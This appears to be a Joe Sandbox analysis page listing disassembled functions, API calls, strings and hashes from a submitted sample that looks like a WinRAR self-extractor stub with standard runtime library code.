Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: e4f8c0af8084f0c20caf0929e0b9cc8c1cdd26feb870ed7dc14cb37673f82b1d
Instruction ID: 33666b62f1a3c80ddb9f9e4159aa310e7a4ec48726a4aec20c7447b43bb3ff97
Opcode Fuzzy Hash: e4f8c0af8084f0c20caf0929e0b9cc8c1cdd26feb870ed7dc14cb37673f82b1d
Instruction Fuzzy Hash: 57B1347180020DEFCF29EFA4C8819BEBBF5EF14710B1441AAEA156B212D735DB59CB91

Function 00BD6FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD6FAA
_wcslen.LIBCMT ref: 00BD7013
_wcslen.LIBCMT ref: 00BD7084

Part of subcall function 00BD7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00BD7AAB
Part of subcall function 00BD7A9C: GetLastError.KERNEL32 ref: 00BD7AF1
Part of subcall function 00BD7A9C: CloseHandle.KERNEL32(?), ref: 00BD7B00

Strings

\??\, xrefs: 00BD702B
SeCreateSymbolicLinkPrivilege, xrefs: 00BD6FCC
UNC\, xrefs: 00BD7051
SeRestorePrivilege, xrefs: 00BD6FC2

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3122303884-3508440684
Opcode ID: e1a6f2fbe51caff8a6430f808a1397b30674a5ef5e26ce9228046ba8c86aeb39
Instruction ID: e49c48cd6898e16c0646dbf3bf1e8d7a70614ed6fe47c852dfb22b1bb772b6ad
Opcode Fuzzy Hash: e1a6f2fbe51caff8a6430f808a1397b30674a5ef5e26ce9228046ba8c86aeb39
Instruction Fuzzy Hash: 2F41B7B1D4838479EB20A7749C82FEEF7EC9F14314F0445D7FA55A62C2FA749A488621

Function 00BEB5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD1316: GetDlgItem.USER32(00000000,00003021), ref: 00BD135A
Part of subcall function 00BD1316: SetWindowTextW.USER32(00000000,00C035F4), ref: 00BD1370

EndDialog.USER32(?,00000001), ref: 00BEB610
SendMessageW.USER32(?,00000080,00000001,?), ref: 00BEB637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00BEB650
SetWindowTextW.USER32(?,?), ref: 00BEB661
GetDlgItem.USER32(?,00000065), ref: 00BEB66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00BEB67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00BEB694

Strings

LICENSEDLG, xrefs: 00BEB5D4

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 74dc12b1500cb121c3cf72fb6de72811d51e62e4732224dfd4f00042da02947f
Instruction ID: 596f36c7d711dfd8ada6be620317df03fd581d12033758189db0e8f656f6637d
Opcode Fuzzy Hash: 74dc12b1500cb121c3cf72fb6de72811d51e62e4732224dfd4f00042da02947f
Instruction Fuzzy Hash: C221F732614288BFD6219F77ED89F3F7BBCEB4AB41F010058F605A65E0CB629902D631

Function 00BEFD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,7A853BE7,00000001,00000000,00000000,?,?,00BDAF6C,ROOT\CIMV2), ref: 00BEFD99
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,00BDAF6C,ROOT\CIMV2), ref: 00BEFE14
SysAllocString.OLEAUT32(00000000), ref: 00BEFE1F
_com_issue_error.COMSUPP ref: 00BEFE48
_com_issue_error.COMSUPP ref: 00BEFE52
GetLastError.KERNEL32(80070057,7A853BE7,00000001,00000000,00000000,?,?,00BDAF6C,ROOT\CIMV2), ref: 00BEFE57
_com_issue_error.COMSUPP ref: 00BEFE6A
GetLastError.KERNEL32(00000000,?,?,00BDAF6C,ROOT\CIMV2), ref: 00BEFE80
_com_issue_error.COMSUPP ref: 00BEFE93

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 10923e2525d559266e164e398ac6687538e915600f47f917ef5accd81feecf62
Instruction ID: 890012a1120f0ddcd5239f6c3562c1eb07f3b1003d8cd4e6e348c8b5a35ba6b6
Opcode Fuzzy Hash: 10923e2525d559266e164e398ac6687538e915600f47f917ef5accd81feecf62
Instruction Fuzzy Hash: 9C41EB71A0029AABCB109F65CC45BBEBBE8EF48710F2042B9F915D7391D735A900C7A5

Function 00BDAF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BDAF29

Strings

Name, xrefs: 00BDB0B0
Windows 10, xrefs: 00BDB0C2
ROOT\CIMV2, xrefs: 00BDAF5C
SELECT * FROM Win32_OperatingSystem, xrefs: 00BDAFCA
WQL, xrefs: 00BDAFDC

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: a29c45ed0f9396b75ab9600265084fc6559f9c6864028257335e7884d0384b27
Instruction ID: 93308de2b72f7f8526419c673530fb63bb5db2a4e364b6efd93a53765553437a
Opcode Fuzzy Hash: a29c45ed0f9396b75ab9600265084fc6559f9c6864028257335e7884d0384b27
Instruction Fuzzy Hash: 1D715E71A00659EFDF14DF64CC99EAEB7B9FF48710B15419AE512A73A0DB30AE01CB50

Function 00BD9382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD9387
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00BD93AA
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00BD93C9

Part of subcall function 00BDC29A: _wcslen.LIBCMT ref: 00BDC2A2

Part of subcall function 00BE1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00BDC116,00000000,.exe,?,?,00000800,?,?,?,00BE8E3C), ref: 00BE1FD1

_swprintf.LIBCMT ref: 00BD9465

Part of subcall function 00BD4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BD40A5

MoveFileW.KERNEL32(?,?), ref: 00BD94D4
MoveFileW.KERNEL32(?,?), ref: 00BD9514

Strings

rtmp%d, xrefs: 00BD944E

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: 1b3e246f923158d25ff167b47db70714db4db089c277e3e47b6783267cbda174
Instruction ID: 18e9f13b8484785137ab425846ec0ff8d5d3cf9ba9f0a1a27eecc2a1e0ef2ada
Opcode Fuzzy Hash: 1b3e246f923158d25ff167b47db70714db4db089c277e3e47b6783267cbda174
Instruction Fuzzy Hash: B741637190025966DF21ABA1DC45EDEF3BCEF55344F0048E6B649E3251FB388B89CB60

Function 00BE1218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00BE122E

Part of subcall function 00BDB146: GetVersionExW.KERNEL32(?), ref: 00BDB16B

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 00BE1251
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 00BE1263
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00BE1274
SystemTimeToFileTime.KERNEL32(?,?), ref: 00BE1284
SystemTimeToFileTime.KERNEL32(?,?), ref: 00BE1294
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00BE12CF
__aullrem.LIBCMT ref: 00BE1379

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 942a122988d25df7eaae5392b548c884f4cba231ef1350e3a58f7d7881ea0a9a
Instruction ID: 79aaea082d9593b903ec08bc180c7bc25c35bf0d42e11183efa68afd38e4b4d7
Opcode Fuzzy Hash: 942a122988d25df7eaae5392b548c884f4cba231ef1350e3a58f7d7881ea0a9a
Instruction Fuzzy Hash: 4241F7B1508345AFC710DF69C884A6FBBE9FB88314F108D2EF596C2610E778E549DB52

Function 00BD2210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00BD2536

Part of subcall function 00BD4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BD40A5

Part of subcall function 00BE05DA: _wcslen.LIBCMT ref: 00BE05E0

Strings

xc%u, xrefs: 00BD275A
;%u, xrefs: 00BD2523
x%u, xrefs: 00BD26FD

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: e666734c8c3563c138d0e363306a5df4250191ebbac68c2b783684df215dddf9
Instruction ID: 3eb677966329f72204934822e3e8e8bad40d0fe43b0df5a2e3118f76f14ab066
Opcode Fuzzy Hash: e666734c8c3563c138d0e363306a5df4250191ebbac68c2b783684df215dddf9
Instruction Fuzzy Hash: CDF1E9706083C15BDB15DB248495BFAFBD59FA0300F0805EBEE869B383EB659945C7A2

Function 00BE9CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BE9D0A

Strings

</style>, xrefs: 00BE9E52
>, xrefs: 00BE9D4B
<style>, xrefs: 00BE9E30
<br>, xrefs: 00BE9DFE
</p>, xrefs: 00BE9DE8

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: d1b9223b6a95bf79e9a9f2cc64cf633e76edb6c054c536a7578361d487bbb8e4
Instruction ID: ee7740a0343dadec621b6073a5fe63db29e875f1f0dbb9012d41c9e876baf08a
Opcode Fuzzy Hash: d1b9223b6a95bf79e9a9f2cc64cf633e76edb6c054c536a7578361d487bbb8e4
Instruction Fuzzy Hash: 085127667403F295DB349A2B9C1177673E0DFA1750F6845BAFAC1CB1C0FBA58C8D82A1

Function 00BFF68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00BFFE02,00000000,00000000,00000000,00000000,00000000,?), ref: 00BFF6CF
__fassign.LIBCMT ref: 00BFF74A
__fassign.LIBCMT ref: 00BFF765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00BFF78B
WriteFile.KERNEL32(?,00000000,00000000,00BFFE02,00000000,?,?,?,?,?,?,?,?,?,00BFFE02,00000000), ref: 00BFF7AA
WriteFile.KERNEL32(?,00000000,00000001,00BFFE02,00000000,?,?,?,?,?,?,?,?,?,00BFFE02,00000000), ref: 00BFF7E3

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 530eb01bb2419a3b04616527053dd6c34dc02e1cd5d84e3dd7b8811f368fc72f
Instruction ID: 30823a768307041ba4cb6da2c83187c00201ed184461909745165b4e26028482
Opcode Fuzzy Hash: 530eb01bb2419a3b04616527053dd6c34dc02e1cd5d84e3dd7b8811f368fc72f
Instruction Fuzzy Hash: DE5165B19002499FDB10CFA8DC85BFEFBF8EF09710F14416AE655E7251E670A945CBA0

Function 00BF2900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BF2937
___except_validate_context_record.LIBVCRUNTIME ref: 00BF293F
_ValidateLocalCookies.LIBCMT ref: 00BF29C8
__IsNonwritableInCurrentImage.LIBCMT ref: 00BF29F3
_ValidateLocalCookies.LIBCMT ref: 00BF2A48

Strings

csm, xrefs: 00BF29DD

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: a4ccf7d0eba24dd13e111a3d538dcab678cdf11c33181fd9ed4ce9a78f7dadca
Instruction ID: 277ca5a32a222163c0bdd9f36c859f3c2d0ae935ba1521cbb7195cda18efffbb
Opcode Fuzzy Hash: a4ccf7d0eba24dd13e111a3d538dcab678cdf11c33181fd9ed4ce9a78f7dadca
Instruction Fuzzy Hash: AC41B330A0020CAFCF10DF68C885AAEBBF5EF44324F14C1A5E915AB392D7719A19CF91

Function 00BE9ED5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00BE9EEE
GetWindowRect.USER32(?,00000000), ref: 00BE9F44
ShowWindow.USER32(?,00000005,00000000), ref: 00BE9FDB
SetWindowTextW.USER32(?,00000000), ref: 00BE9FE3
ShowWindow.USER32(00000000,00000005), ref: 00BE9FF9

Strings

RarHtmlClassName, xrefs: 00BE9FA5

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 08602187ba809435380cf763a3ba6d1c05420cc91f4f02b0871d2bddf1af00e9
Instruction ID: bd30539fdb74e0fa19b4e663ac35280b60f53a434bddc76930da34690abc32ce
Opcode Fuzzy Hash: 08602187ba809435380cf763a3ba6d1c05420cc91f4f02b0871d2bddf1af00e9
Instruction Fuzzy Hash: 0D41C231504394EFDB219F66DC88B6F7BE8FF48701F004599F94AAA156CB74E908CBA1

Function 00BE9955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BE995E
_wcslen.LIBCMT ref: 00BE9993

Strings

<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00BE9987
, xrefs: 00BE99B0
 , xrefs: 00BE9A21
<br>, xrefs: 00BE99DF

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: ef72d11b5552dcb95f010f0cbf2c111dc8f5b5319fda884a2cc1c048be0cabe6
Instruction ID: d0995fd4cb11ef05244c947a970c10177196cc32225657381f70123e8c0ddacc
Opcode Fuzzy Hash: ef72d11b5552dcb95f010f0cbf2c111dc8f5b5319fda884a2cc1c048be0cabe6
Instruction Fuzzy Hash: 99318F7664438596EA34EB559C42B7B73E4EF90720F60447FF986472C0FB61AD8C83A1

Function 00BFC8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BFC868: _free.LIBCMT ref: 00BFC891

_free.LIBCMT ref: 00BFC8F2

Part of subcall function 00BF8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BFC896,?,00000000,?,00000000,?,00BFC8BD,?,00000007,?,?,00BFCCBA,?), ref: 00BF8DE2
Part of subcall function 00BF8DCC: GetLastError.KERNEL32(?,?,00BFC896,?,00000000,?,00000000,?,00BFC8BD,?,00000007,?,?,00BFCCBA,?,?), ref: 00BF8DF4

_free.LIBCMT ref: 00BFC8FD
_free.LIBCMT ref: 00BFC908
_free.LIBCMT ref: 00BFC95C
_free.LIBCMT ref: 00BFC967
_free.LIBCMT ref: 00BFC972
_free.LIBCMT ref: 00BFC97D

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: 5137776630090893f90a440fa5730cdc1b21a4d16ee48444a71ba30cdc9ea54c
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: 45113D71580B0CAAE620B7B1CD07FFB7BEC9F01B40F404C69B39D67092DA65A94D9750

Function 00BEE5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00BEE669,00BEE5CC,00BEE86D), ref: 00BEE605
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00BEE61B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00BEE630

Strings

AcquireSRWLockExclusive, xrefs: 00BEE615
KERNEL32.DLL, xrefs: 00BEE600
ReleaseSRWLockExclusive, xrefs: 00BEE625

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 8af1fa324bf7383992ffb250928b31d8334516138315b5f6da97ff4278f1ee51
Instruction ID: 42e40e1b373a66e80875573567d66e887ffb632be666e96de6da4b6ff12c7833
Opcode Fuzzy Hash: 8af1fa324bf7383992ffb250928b31d8334516138315b5f6da97ff4278f1ee51
Instruction Fuzzy Hash: 5DF0F0317A16E29F8F214FA76C84B6B32DCEE26745B1508B9ED25D3190EB20CD58DB90

